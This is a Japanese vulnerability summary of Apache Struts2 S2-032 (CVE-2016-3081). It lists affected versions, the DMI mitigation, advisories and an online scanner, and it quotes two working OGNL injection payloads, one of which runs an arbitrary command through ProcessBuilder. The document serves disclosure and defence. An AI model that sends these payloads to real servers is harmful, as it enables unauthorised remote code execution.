Apache Software Foundationは2016年4月19日に脆弱性情報 S2-032と修正版を公開しました。ここでは関連情報をまとめます。
Apache 公開情報
- S2-032 — Remote Code Execution can be performed via method: prefix when Dynamic Method Invocation is enabled.
脆弱性概要
対象 | Apache Struts2 |
---|---|
CVE | CVE-2016-3081 |
影響 | RCE |
重要度 | High |
PoC | PoC公開あり。 攻撃パケット観測済。 |
CVSS(v3) | 7.3(Base) |
発見者 | dbappsecurity(杭州安恒) |
脆弱性情報
攻撃パケットの観測
脆弱性の影響説明
It is possible to pass a malicious expression which can be used to execute arbitrary code on server side when Dynamic Method Invocation is enabled.
http://struts.apache.org/docs/s2-032.html
開発元によると、当該脆弱性が悪用された場合、サーバ上で遠隔から任意のコードを実行させることが可能であるとされています
http://www.npa.go.jp/cyberpolice/detect/pdf/20160427.pdf
影響範囲
次のApache Strutsのバージョンが影響を受ける。Struts1系が影響を受けるかは不明。
- 2.3.20 〜 2.3.28(2.3.20.3、2.3.24.3は対象外。)
攻撃前提条件「DMIの有効化」が必要
struts.enable.DynamicMethodInvocation = false
影響調査
PoC
PoCをJPCERT/CCが検証している。
本脆弱性の実証コードがすでに公開されており、JPCERT/CC にて実証コードを用いて検証した結果、Struts アプリケーションを実行しているアプリケーションサーバの実行権限で任意のコードが実行されることを確認しました。
http://www.jpcert.or.jp/at/2016/at160020.html
またNSFOCUSが公開した脆弱性解説より、次のPoCを確認した。
hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String
http://drops.wooyun.org/papers/15430
オンラインスキャナー
dbappsecurity(脆弱性を報告した企業)がオンラインスキャナーを公開している。
- Struts2 s2-32漏洞在线检测 http://0day.websaas.cn/
スキャナーと名の付く通り、実行すると実際にExploitが対象に送信されている。
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter%28%29.println%28%23parameters.content[0]%29,1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=Qr4AQgCHpj
デモ動画
謝辞
このまとめは次の方から頂いた情報をもとに追記・修正を行っています。ありがとうございます。
- AJさん